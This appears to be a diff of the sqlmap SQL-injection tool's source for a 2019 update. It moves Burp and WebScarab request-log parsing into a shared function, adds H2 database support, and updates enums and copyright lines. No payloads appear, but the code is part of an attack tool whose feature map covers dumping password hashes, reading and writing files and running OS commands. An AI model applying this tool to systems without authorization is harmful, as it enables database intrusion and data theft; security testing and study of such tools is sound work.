retVal = conf.hashDB.retrieve(_, unserialize) if kb.resumeValues and not (checkConf and any((conf.flushSession, conf.freshQueries))) else None
if not kb.inferenceMode and not kb.fileReadMode and isinstance(retVal, basestring) and any(_ in retVal for _ in (PARTIAL_VALUE_MARKER, PARTIAL_HEX_VALUE_MARKER)):
retVal = None
return retVal return retVal
@@ -4319,7 +4411,7 @@ def resetCookieJar(cookieJar):
except cookielib.LoadError, msg: except cookielib.LoadError, msg:
errMsg = "there was a problem loading " errMsg = "there was a problem loading "
errMsg += "cookies file ('%s')" % re.sub(r"(cookies) file '[^']+'", "\g<1>", str(msg)) errMsg += "cookies file ('%s')" % re.sub(r"(cookies) file '[^']+'", r"\g<1>", str(msg))
raise SqlmapGenericException(errMsg) raise SqlmapGenericException(errMsg)
def decloakToTemp(filename): def decloakToTemp(filename):
@@ -4365,7 +4457,7 @@ def getRequestHeader(request, name):
retVal = None retVal = None
if request and name: if request and request.headers and name:
_ = name.upper() _ = name.upper()
retVal = max(value if _ == key.upper() else None for key, value in request.header_items()) retVal = max(value if _ == key.upper() else None for key, value in request.header_items())
@@ -4394,6 +4486,9 @@ def zeroDepthSearch(expression, value):
""" """
Searches occurrences of value inside expression at 0-depth level Searches occurrences of value inside expression at 0-depth level
regarding the parentheses regarding the parentheses
>>> _ = "SELECT (SELECT id FROM users WHERE 2>1) AS result FROM DUAL"; _[zeroDepthSearch(_, "FROM")[0]:]
'FROM DUAL'
""" """
retVal = [] retVal = []
@@ -4429,7 +4524,7 @@ def pollProcess(process, suppress_errors=False):
Checks for process status (prints . if still running) Checks for process status (prints . if still running)
""" """
while True: while process:
dataToStdout(".") dataToStdout(".")
time.sleep(1) time.sleep(1)
@@ -4446,6 +4541,195 @@ def pollProcess(process, suppress_errors=False):
break break
def parseRequestFile(reqFile, checkParams=True):
"""
Parses WebScarab and Burp logs and adds results to the target URL list
"""
def _parseWebScarabLog(content):
"""
Parses WebScarab logs (POST method not supported)
"""
reqResList = content.split(WEBSCARAB_SPLITTER)
for request in reqResList:
url = extractRegexResult(r"URL: (?P<result>.+?)\n", request, re.I)
method = extractRegexResult(r"METHOD: (?P<result>.+?)\n", request, re.I)
cookie = extractRegexResult(r"COOKIE: (?P<result>.+?)\n", request, re.I)
if not method or not url:
logger.debug("not a valid WebScarab log data")
continue
if method.upper() == HTTPMETHOD.POST:
warnMsg = "POST requests from WebScarab logs aren't supported "
warnMsg += "as their body content is stored in separate files. "
warnMsg += "Nevertheless you can use -r to load them individually."
logger.warning(warnMsg)
continue
if not(conf.scope and not re.search(conf.scope, url, re.I)):
yield (url, method, None, cookie, tuple())
def _parseBurpLog(content):
"""
Parses Burp logs
"""
if not re.search(BURP_REQUEST_REGEX, content, re.I | re.S):
if re.search(BURP_XML_HISTORY_REGEX, content, re.I | re.S):
reqResList = []
for match in re.finditer(BURP_XML_HISTORY_REGEX, content, re.I | re.S):
port, request = match.groups()
try:
request = request.decode("base64")
except binascii.Error:
continue
_ = re.search(r"%s:.+" % re.escape(HTTP_HEADER.HOST), request)
if _:
host = _.group(0).strip()
if not re.search(r":\d+\Z", host):
request = request.replace(host, "%s:%d" % (host, int(port)))
reqResList.append(request)
else:
reqResList = [content]
else:
reqResList = re.finditer(BURP_REQUEST_REGEX, content, re.I | re.S)
for match in reqResList:
request = match if isinstance(match, basestring) else match.group(0)
request = re.sub(r"\A[^\w]+", "", request)
schemePort = re.search(r"(http[\w]*)\:\/\/.*?\:([\d]+).+?={10,}", request, re.I | re.S)
if schemePort:
scheme = schemePort.group(1)
port = schemePort.group(2)
request = re.sub(r"\n=+\Z", "", request.split(schemePort.group(0))[-1].lstrip())
else:
scheme, port = None, None
if not re.search(r"^[\n]*(%s).*?\sHTTP\/" % "|".join(getPublicTypeMembers(HTTPMETHOD, True)), request, re.I | re.M):
continue
if re.search(r"^[\n]*%s.*?\.(%s)\sHTTP\/" % (HTTPMETHOD.GET, "|".join(CRAWL_EXCLUDE_EXTENSIONS)), request, re.I | re.M):
continue
getPostReq = False
url = None
host = None
method = None
data = None
cookie = None
params = False
newline = None
lines = request.split('\n')
headers = []
for index in xrange(len(lines)):
line = lines[index]
if not line.strip() and index == len(lines) - 1:
break
newline = "\r\n" if line.endswith('\r') else '\n'
line = line.strip('\r')
match = re.search(r"\A(%s) (.+) HTTP/[\d.]+\Z" % "|".join(getPublicTypeMembers(HTTPMETHOD, True)), line) if not method else None
if len(line.strip()) == 0 and method and method != HTTPMETHOD.GET and data is None:
data = ""
params = True
elif match:
method = match.group(1)
url = match.group(2)
if any(_ in line for _ in ('?', '=', kb.customInjectionMark)):
params = True
getPostReq = True
# POST parameters
elif data is not None and params:
data += "%s%s" % (line, newline)
# GET parameters
elif "?" in line and "=" in line and ": " not in line:
params = True
# Headers
elif re.search(r"\A\S+:", line):
key, value = line.split(":", 1)
value = value.strip().replace("\r", "").replace("\n", "")
# Cookie and Host headers
if key.upper() == HTTP_HEADER.COOKIE.upper():
cookie = value
elif key.upper() == HTTP_HEADER.HOST.upper():
if '://' in value:
scheme, value = value.split('://')[:2]
splitValue = value.split(":")
host = splitValue[0]
if len(splitValue) > 1:
port = filterStringValue(splitValue[1], "[0-9]")
# Avoid to add a static content length header to
# headers and consider the following lines as
# POSTed data
if key.upper() == HTTP_HEADER.CONTENT_LENGTH.upper():
params = True
# Avoid proxy and connection type related headers
elif key not in (HTTP_HEADER.PROXY_CONNECTION, HTTP_HEADER.CONNECTION):
headers.append((getUnicode(key), getUnicode(value)))
if kb.customInjectionMark in re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value or ""):
params = True
data = data.rstrip("\r\n") if data else data
if getPostReq and (params or cookie or not checkParams):
if not port and isinstance(scheme, basestring) and scheme.lower() == "https":
port = "443"
elif not scheme and port == "443":
scheme = "https"
if conf.forceSSL:
scheme = "https"
port = port or "443"
if not host:
errMsg = "invalid format of a request file"
raise SqlmapSyntaxException(errMsg)
if not url.startswith("http"):
url = "%s://%s:%s%s" % (scheme or "http", host, port or "80", url)
scheme = None
port = None
if not(conf.scope and not re.search(conf.scope, url, re.I)):
yield (url, conf.method or method, data, cookie, tuple(headers))
checkFile(reqFile)
try:
with openFile(reqFile, "rb") as f:
content = f.read()
except (IOError, OSError, MemoryError), ex:
errMsg = "something went wrong while trying "
errMsg += "to read the content of file '%s' ('%s')" % (reqFile, getSafeExString(ex))
raise SqlmapSystemException(errMsg)
if conf.scope:
logger.info("using regular expression '%s' for filtering targets" % conf.scope)
for target in _parseBurpLog(content):
yield target
for target in _parseWebScarabLog(content):
yield target
def getSafeExString(ex, encoding=None): def getSafeExString(ex, encoding=None):
""" """
Safe way how to get the proper exception represtation as a string Safe way how to get the proper exception represtation as a string
@@ -4461,11 +4745,44 @@ def getSafeExString(ex, encoding=None):
retVal = ex.message retVal = ex.message
elif getattr(ex, "msg", None): elif getattr(ex, "msg", None):
retVal = ex.msg retVal = ex.msg
elif isinstance(ex, (list, tuple)) and len(ex) > 1 and isinstance(ex[1], basestring):
retVal = ex[1]
return getUnicode(retVal or "", encoding=encoding).strip() return getUnicode(retVal or "", encoding=encoding).strip()
def safeVariableNaming(value): def safeVariableNaming(value):
"""
Returns escaped safe-representation of a given variable name that can be used in Python evaluated code
>>> safeVariableNaming("foo bar")
'foo__SAFE__20bar'
"""
return re.sub(r"[^\w]", lambda match: "%s%02x" % (SAFE_VARIABLE_MARKER, ord(match.group(0))), value) return re.sub(r"[^\w]", lambda match: "%s%02x" % (SAFE_VARIABLE_MARKER, ord(match.group(0))), value)
def unsafeVariableNaming(value): def unsafeVariableNaming(value):
"""
Returns unescaped safe-representation of a given variable name
>>> unsafeVariableNaming("foo__SAFE__20bar")
'foo bar'
"""
return re.sub(r"%s([0-9a-f]{2})" % SAFE_VARIABLE_MARKER, lambda match: match.group(1).decode("hex"), value) return re.sub(r"%s([0-9a-f]{2})" % SAFE_VARIABLE_MARKER, lambda match: match.group(1).decode("hex"), value)
def firstNotNone(*args):
"""
Returns first not-None value from a given list of arguments
>>> firstNotNone(None, None, 1, 2, 3)
1
"""
retVal = None
for _ in args:
if _ is not None:
retVal = _
break
return retVal
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+26 -2
View File
@@ -1,12 +1,15 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
import functools
import hashlib import hashlib
from lib.core.threads import getCurrentThreadData
def cachedmethod(f, cache={}): def cachedmethod(f, cache={}):
""" """
Method with a cached content Method with a cached content
@@ -14,11 +17,32 @@ def cachedmethod(f, cache={}):
Reference: http://code.activestate.com/recipes/325205-cache-decorator-in-python-24/ Reference: http://code.activestate.com/recipes/325205-cache-decorator-in-python-24/
""" """
@functools.wraps(f)
def _(*args, **kwargs): def _(*args, **kwargs):
key = int(hashlib.md5("".join(str(_) for _ in (f, args, kwargs))).hexdigest()[:8], 16) key = int(hashlib.md5("|".join(str(_) for _ in (f, args, kwargs))).hexdigest(), 16) & 0x7fffffffffffffff
if key not in cache: if key not in cache:
cache[key] = f(*args, **kwargs) cache[key] = f(*args, **kwargs)
return cache[key] return cache[key]
return _ return _
def stackedmethod(f):
"""
Method using pushValue/popValue functions (fallback function for stack realignment)
"""
@functools.wraps(f)
def _(*args, **kwargs):
threadData = getCurrentThreadData()
originalLevel = len(threadData.valueStack)
try:
result = f(*args, **kwargs)
finally:
if len(threadData.valueStack) > originalLevel:
threadData.valueStack = threadData.valueStack[:originalLevel]
return result
return _
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+38 -1
View File
@@ -1,10 +1,11 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
from lib.core.enums import CONTENT_TYPE
from lib.core.enums import DBMS from lib.core.enums import DBMS
from lib.core.enums import OS from lib.core.enums import OS
from lib.core.enums import POST_HINT from lib.core.enums import POST_HINT
@@ -21,6 +22,7 @@ from lib.core.settings import MAXDB_ALIASES
from lib.core.settings import SYBASE_ALIASES from lib.core.settings import SYBASE_ALIASES
from lib.core.settings import DB2_ALIASES from lib.core.settings import DB2_ALIASES
from lib.core.settings import HSQLDB_ALIASES from lib.core.settings import HSQLDB_ALIASES
from lib.core.settings import H2_ALIASES
from lib.core.settings import INFORMIX_ALIASES from lib.core.settings import INFORMIX_ALIASES
FIREBIRD_TYPES = { FIREBIRD_TYPES = {
@@ -194,6 +196,7 @@ DBMS_DICT = {
DBMS.SYBASE: (SYBASE_ALIASES, "python-pymssql", "https://github.com/pymssql/pymssql", "sybase"), DBMS.SYBASE: (SYBASE_ALIASES, "python-pymssql", "https://github.com/pymssql/pymssql", "sybase"),
DBMS.DB2: (DB2_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"), DBMS.DB2: (DB2_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"),
DBMS.HSQLDB: (HSQLDB_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/", None), DBMS.HSQLDB: (HSQLDB_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/", None),
DBMS.H2: (H2_ALIASES, None, None, None),
DBMS.INFORMIX: (INFORMIX_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"), DBMS.INFORMIX: (INFORMIX_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"),
} }
@@ -262,6 +265,10 @@ SQL_STATEMENTS = {
"commit ", "commit ",
"rollback ", "rollback ",
), ),
"SQL administration": (
"set ",
),
} }
POST_HINT_CONTENT_TYPES = { POST_HINT_CONTENT_TYPES = {
@@ -279,6 +286,8 @@ DEPRECATED_OPTIONS = {
"--binary": "use '--binary-fields' instead", "--binary": "use '--binary-fields' instead",
"--auth-private": "use '--auth-file' instead", "--auth-private": "use '--auth-file' instead",
"--ignore-401": "use '--ignore-code' instead", "--ignore-401": "use '--ignore-code' instead",
"--second-order": "use '--second-url' instead",
"--purge-output": "use '--purge' instead",
"--check-payload": None, "--check-payload": None,
"--check-waf": None, "--check-waf": None,
"--pickled-options": "use '--api -c ...' instead", "--pickled-options": "use '--api -c ...' instead",
@@ -293,3 +302,31 @@ DEFAULT_DOC_ROOTS = {
OS.WINDOWS: ("C:/xampp/htdocs/", "C:/wamp/www/", "C:/Inetpub/wwwroot/"), OS.WINDOWS: ("C:/xampp/htdocs/", "C:/wamp/www/", "C:/Inetpub/wwwroot/"),
OS.LINUX: ("/var/www/", "/var/www/html", "/usr/local/apache2/htdocs", "/var/www/nginx-default", "/srv/www") # Reference: https://wiki.apache.org/httpd/DistrosDefaultLayout OS.LINUX: ("/var/www/", "/var/www/html", "/usr/local/apache2/htdocs", "/var/www/nginx-default", "/srv/www") # Reference: https://wiki.apache.org/httpd/DistrosDefaultLayout
} }
PART_RUN_CONTENT_TYPES = {
"checkDbms": CONTENT_TYPE.TECHNIQUES,
"getFingerprint": CONTENT_TYPE.DBMS_FINGERPRINT,
"getBanner": CONTENT_TYPE.BANNER,
"getCurrentUser": CONTENT_TYPE.CURRENT_USER,
"getCurrentDb": CONTENT_TYPE.CURRENT_DB,
"getHostname": CONTENT_TYPE.HOSTNAME,
"isDba": CONTENT_TYPE.IS_DBA,
"getUsers": CONTENT_TYPE.USERS,
"getPasswordHashes": CONTENT_TYPE.PASSWORDS,
"getPrivileges": CONTENT_TYPE.PRIVILEGES,
"getRoles": CONTENT_TYPE.ROLES,
"getDbs": CONTENT_TYPE.DBS,
"getTables": CONTENT_TYPE.TABLES,
"getColumns": CONTENT_TYPE.COLUMNS,
"getSchema": CONTENT_TYPE.SCHEMA,
"getCount": CONTENT_TYPE.COUNT,
"dumpTable": CONTENT_TYPE.DUMP_TABLE,
"search": CONTENT_TYPE.SEARCH,
"sqlQuery": CONTENT_TYPE.SQL_QUERY,
"tableExists": CONTENT_TYPE.COMMON_TABLES,
"columnExists": CONTENT_TYPE.COMMON_COLUMNS,
"readFile": CONTENT_TYPE.FILE_READ,
"writeFile": CONTENT_TYPE.FILE_WRITE,
"osCmd": CONTENT_TYPE.OS_CMD,
"regRead": CONTENT_TYPE.REG_READ
}
+4 -2
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -47,6 +47,7 @@ from lib.core.settings import MIN_BINARY_DISK_DUMP_SIZE
from lib.core.settings import TRIM_STDOUT_DUMP_SIZE from lib.core.settings import TRIM_STDOUT_DUMP_SIZE
from lib.core.settings import UNICODE_ENCODING from lib.core.settings import UNICODE_ENCODING
from lib.core.settings import UNSAFE_DUMP_FILEPATH_REPLACEMENT from lib.core.settings import UNSAFE_DUMP_FILEPATH_REPLACEMENT
from lib.core.settings import VERSION_STRING
from lib.core.settings import WINDOWS_RESERVED_NAMES from lib.core.settings import WINDOWS_RESERVED_NAMES
from thirdparty.magic import magic from thirdparty.magic import magic
@@ -170,7 +171,7 @@ class Dump(object):
def currentDb(self, data): def currentDb(self, data):
if Backend.isDbms(DBMS.MAXDB): if Backend.isDbms(DBMS.MAXDB):
self.string("current database (no practical usage on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB) self.string("current database (no practical usage on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB): elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2):
self.string("current schema (equivalent to database on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB) self.string("current schema (equivalent to database on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
else: else:
self.string("current database", data, content_type=CONTENT_TYPE.CURRENT_DB) self.string("current database", data, content_type=CONTENT_TYPE.CURRENT_DB)
@@ -532,6 +533,7 @@ class Dump(object):
elif conf.dumpFormat == DUMP_FORMAT.HTML: elif conf.dumpFormat == DUMP_FORMAT.HTML:
dataToDumpFile(dumpFP, "<!DOCTYPE html>\n<html>\n<head>\n") dataToDumpFile(dumpFP, "<!DOCTYPE html>\n<html>\n<head>\n")
dataToDumpFile(dumpFP, "<meta http-equiv=\"Content-type\" content=\"text/html;charset=%s\">\n" % UNICODE_ENCODING) dataToDumpFile(dumpFP, "<meta http-equiv=\"Content-type\" content=\"text/html;charset=%s\">\n" % UNICODE_ENCODING)
dataToDumpFile(dumpFP, "<meta name=\"generator\" content=\"%s\" />\n" % VERSION_STRING)
dataToDumpFile(dumpFP, "<title>%s</title>\n" % ("%s%s" % ("%s." % db if METADB_SUFFIX not in db else "", table))) dataToDumpFile(dumpFP, "<title>%s</title>\n" % ("%s%s" % ("%s." % db if METADB_SUFFIX not in db else "", table)))
dataToDumpFile(dumpFP, HTML_DUMP_CSS_STYLE) dataToDumpFile(dumpFP, HTML_DUMP_CSS_STYLE)
dataToDumpFile(dumpFP, "\n</head>\n<body>\n<table>\n<thead>\n<tr>\n") dataToDumpFile(dumpFP, "\n</head>\n<body>\n<table>\n<thead>\n<tr>\n")
+11 -30
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -43,6 +43,7 @@ class DBMS:
SQLITE = "SQLite" SQLITE = "SQLite"
SYBASE = "Sybase" SYBASE = "Sybase"
HSQLDB = "HSQLDB" HSQLDB = "HSQLDB"
H2 = "H2"
INFORMIX = "Informix" INFORMIX = "Informix"
class DBMS_DIRECTORY_NAME: class DBMS_DIRECTORY_NAME:
@@ -57,6 +58,7 @@ class DBMS_DIRECTORY_NAME:
SQLITE = "sqlite" SQLITE = "sqlite"
SYBASE = "sybase" SYBASE = "sybase"
HSQLDB = "hsqldb" HSQLDB = "hsqldb"
H2 = "h2"
INFORMIX = "informix" INFORMIX = "informix"
class CUSTOM_LOGGING: class CUSTOM_LOGGING:
@@ -256,6 +258,7 @@ class PAYLOAD:
3: "LIKE single quoted string", 3: "LIKE single quoted string",
4: "Double quoted string", 4: "Double quoted string",
5: "LIKE double quoted string", 5: "LIKE double quoted string",
6: "Identifier (e.g. column name)",
} }
RISK = { RISK = {
@@ -275,6 +278,7 @@ class PAYLOAD:
6: "TOP", 6: "TOP",
7: "Table name", 7: "Table name",
8: "Column name", 8: "Column name",
9: "Pre-WHERE (non-query)",
} }
class METHOD: class METHOD:
@@ -306,7 +310,7 @@ class ADJUST_TIME_DELAY:
NO = 0 NO = 0
YES = 1 YES = 1
class WEB_API: class WEB_PLATFORM:
PHP = "php" PHP = "php"
ASP = "asp" ASP = "asp"
ASPX = "aspx" ASPX = "aspx"
@@ -340,34 +344,6 @@ class CONTENT_TYPE:
OS_CMD = 24 OS_CMD = 24
REG_READ = 25 REG_READ = 25
PART_RUN_CONTENT_TYPES = {
"checkDbms": CONTENT_TYPE.TECHNIQUES,
"getFingerprint": CONTENT_TYPE.DBMS_FINGERPRINT,
"getBanner": CONTENT_TYPE.BANNER,
"getCurrentUser": CONTENT_TYPE.CURRENT_USER,
"getCurrentDb": CONTENT_TYPE.CURRENT_DB,
"getHostname": CONTENT_TYPE.HOSTNAME,
"isDba": CONTENT_TYPE.IS_DBA,
"getUsers": CONTENT_TYPE.USERS,
"getPasswordHashes": CONTENT_TYPE.PASSWORDS,
"getPrivileges": CONTENT_TYPE.PRIVILEGES,
"getRoles": CONTENT_TYPE.ROLES,
"getDbs": CONTENT_TYPE.DBS,
"getTables": CONTENT_TYPE.TABLES,
"getColumns": CONTENT_TYPE.COLUMNS,
"getSchema": CONTENT_TYPE.SCHEMA,
"getCount": CONTENT_TYPE.COUNT,
"dumpTable": CONTENT_TYPE.DUMP_TABLE,
"search": CONTENT_TYPE.SEARCH,
"sqlQuery": CONTENT_TYPE.SQL_QUERY,
"tableExists": CONTENT_TYPE.COMMON_TABLES,
"columnExists": CONTENT_TYPE.COMMON_COLUMNS,
"readFile": CONTENT_TYPE.FILE_READ,
"writeFile": CONTENT_TYPE.FILE_WRITE,
"osCmd": CONTENT_TYPE.OS_CMD,
"regRead": CONTENT_TYPE.REG_READ
}
class CONTENT_STATUS: class CONTENT_STATUS:
IN_PROGRESS = 0 IN_PROGRESS = 0
COMPLETE = 1 COMPLETE = 1
@@ -382,6 +358,7 @@ class AUTOCOMPLETE_TYPE:
SQL = 0 SQL = 0
OS = 1 OS = 1
SQLMAP = 2 SQLMAP = 2
API = 3
class NOTE: class NOTE:
FALSE_POSITIVE_OR_UNEXPLOITABLE = "false positive or unexploitable" FALSE_POSITIVE_OR_UNEXPLOITABLE = "false positive or unexploitable"
@@ -401,3 +378,7 @@ class TIMEOUT_STATE:
NORMAL = 0 NORMAL = 0
EXCEPTION = 1 EXCEPTION = 1
TIMEOUT = 2 TIMEOUT = 2
class HINT:
PREPEND = 0
APPEND = 1
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+153 -284
View File
@@ -1,16 +1,14 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
import binascii
import cookielib import cookielib
import glob import glob
import inspect import inspect
import logging import logging
import httplib
import os import os
import random import random
import re import re
@@ -37,19 +35,16 @@ from lib.core.common import checkFile
from lib.core.common import dataToStdout from lib.core.common import dataToStdout
from lib.core.common import getPublicTypeMembers from lib.core.common import getPublicTypeMembers
from lib.core.common import getSafeExString from lib.core.common import getSafeExString
from lib.core.common import extractRegexResult
from lib.core.common import filterStringValue
from lib.core.common import findLocalPort from lib.core.common import findLocalPort
from lib.core.common import findPageForms from lib.core.common import findPageForms
from lib.core.common import getConsoleWidth from lib.core.common import getConsoleWidth
from lib.core.common import getFileItems from lib.core.common import getFileItems
from lib.core.common import getFileType from lib.core.common import getFileType
from lib.core.common import getUnicode
from lib.core.common import normalizePath from lib.core.common import normalizePath
from lib.core.common import ntToPosixSlashes from lib.core.common import ntToPosixSlashes
from lib.core.common import openFile from lib.core.common import openFile
from lib.core.common import parseRequestFile
from lib.core.common import parseTargetDirect from lib.core.common import parseTargetDirect
from lib.core.common import parseTargetUrl
from lib.core.common import paths from lib.core.common import paths
from lib.core.common import randomStr from lib.core.common import randomStr
from lib.core.common import readCachedFileContent from lib.core.common import readCachedFileContent
@@ -58,6 +53,7 @@ from lib.core.common import resetCookieJar
from lib.core.common import runningAsAdmin from lib.core.common import runningAsAdmin
from lib.core.common import safeExpandUser from lib.core.common import safeExpandUser
from lib.core.common import saveConfig from lib.core.common import saveConfig
from lib.core.common import setColor
from lib.core.common import setOptimize from lib.core.common import setOptimize
from lib.core.common import setPaths from lib.core.common import setPaths
from lib.core.common import singleTimeWarnMessage from lib.core.common import singleTimeWarnMessage
@@ -86,6 +82,7 @@ from lib.core.enums import PROXY_TYPE
from lib.core.enums import REFLECTIVE_COUNTER from lib.core.enums import REFLECTIVE_COUNTER
from lib.core.enums import WIZARD from lib.core.enums import WIZARD
from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapConnectionException
from lib.core.exception import SqlmapDataException
from lib.core.exception import SqlmapFilePathException from lib.core.exception import SqlmapFilePathException
from lib.core.exception import SqlmapGenericException from lib.core.exception import SqlmapGenericException
from lib.core.exception import SqlmapInstallationException from lib.core.exception import SqlmapInstallationException
@@ -100,17 +97,14 @@ from lib.core.exception import SqlmapUnsupportedDBMSException
from lib.core.exception import SqlmapUserQuitException from lib.core.exception import SqlmapUserQuitException
from lib.core.log import FORMATTER from lib.core.log import FORMATTER
from lib.core.optiondict import optDict from lib.core.optiondict import optDict
from lib.core.settings import BURP_REQUEST_REGEX
from lib.core.settings import BURP_XML_HISTORY_REGEX
from lib.core.settings import CODECS_LIST_PAGE from lib.core.settings import CODECS_LIST_PAGE
from lib.core.settings import CRAWL_EXCLUDE_EXTENSIONS
from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR
from lib.core.settings import DBMS_ALIASES from lib.core.settings import DBMS_ALIASES
from lib.core.settings import DEFAULT_PAGE_ENCODING from lib.core.settings import DEFAULT_PAGE_ENCODING
from lib.core.settings import DEFAULT_TOR_HTTP_PORTS from lib.core.settings import DEFAULT_TOR_HTTP_PORTS
from lib.core.settings import DEFAULT_TOR_SOCKS_PORTS from lib.core.settings import DEFAULT_TOR_SOCKS_PORTS
from lib.core.settings import DEFAULT_USER_AGENT
from lib.core.settings import DUMMY_URL from lib.core.settings import DUMMY_URL
from lib.core.settings import INJECT_HERE_REGEX
from lib.core.settings import IS_WIN from lib.core.settings import IS_WIN
from lib.core.settings import KB_CHARS_BOUNDARY_CHAR from lib.core.settings import KB_CHARS_BOUNDARY_CHAR
from lib.core.settings import KB_CHARS_LOW_FREQUENCY_ALPHABET from lib.core.settings import KB_CHARS_LOW_FREQUENCY_ALPHABET
@@ -120,8 +114,6 @@ from lib.core.settings import MAX_NUMBER_OF_THREADS
from lib.core.settings import NULL from lib.core.settings import NULL
from lib.core.settings import PARAMETER_SPLITTING_REGEX from lib.core.settings import PARAMETER_SPLITTING_REGEX
from lib.core.settings import PRECONNECT_CANDIDATE_TIMEOUT from lib.core.settings import PRECONNECT_CANDIDATE_TIMEOUT
from lib.core.settings import PROBLEMATIC_CUSTOM_INJECTION_PATTERNS
from lib.core.settings import SITE
from lib.core.settings import SOCKET_PRE_CONNECT_QUEUE_SIZE from lib.core.settings import SOCKET_PRE_CONNECT_QUEUE_SIZE
from lib.core.settings import SQLMAP_ENVIRONMENT_PREFIX from lib.core.settings import SQLMAP_ENVIRONMENT_PREFIX
from lib.core.settings import SUPPORTED_DBMS from lib.core.settings import SUPPORTED_DBMS
@@ -131,8 +123,6 @@ from lib.core.settings import UNICODE_ENCODING
from lib.core.settings import UNION_CHAR_REGEX from lib.core.settings import UNION_CHAR_REGEX
from lib.core.settings import UNKNOWN_DBMS_VERSION from lib.core.settings import UNKNOWN_DBMS_VERSION
from lib.core.settings import URI_INJECTABLE_REGEX from lib.core.settings import URI_INJECTABLE_REGEX
from lib.core.settings import VERSION_STRING
from lib.core.settings import WEBSCARAB_SPLITTER
from lib.core.threads import getCurrentThreadData from lib.core.threads import getCurrentThreadData
from lib.core.threads import setDaemon from lib.core.threads import setDaemon
from lib.core.update import update from lib.core.update import update
@@ -174,201 +164,6 @@ try:
except NameError: except NameError:
WindowsError = None WindowsError = None
def _feedTargetsDict(reqFile, addedTargetUrls):
"""
Parses web scarab and burp logs and adds results to the target URL list
"""
def _parseWebScarabLog(content):
"""
Parses web scarab logs (POST method not supported)
"""
reqResList = content.split(WEBSCARAB_SPLITTER)
for request in reqResList:
url = extractRegexResult(r"URL: (?P<result>.+?)\n", request, re.I)
method = extractRegexResult(r"METHOD: (?P<result>.+?)\n", request, re.I)
cookie = extractRegexResult(r"COOKIE: (?P<result>.+?)\n", request, re.I)
if not method or not url:
logger.debug("not a valid WebScarab log data")
continue
if method.upper() == HTTPMETHOD.POST:
warnMsg = "POST requests from WebScarab logs aren't supported "
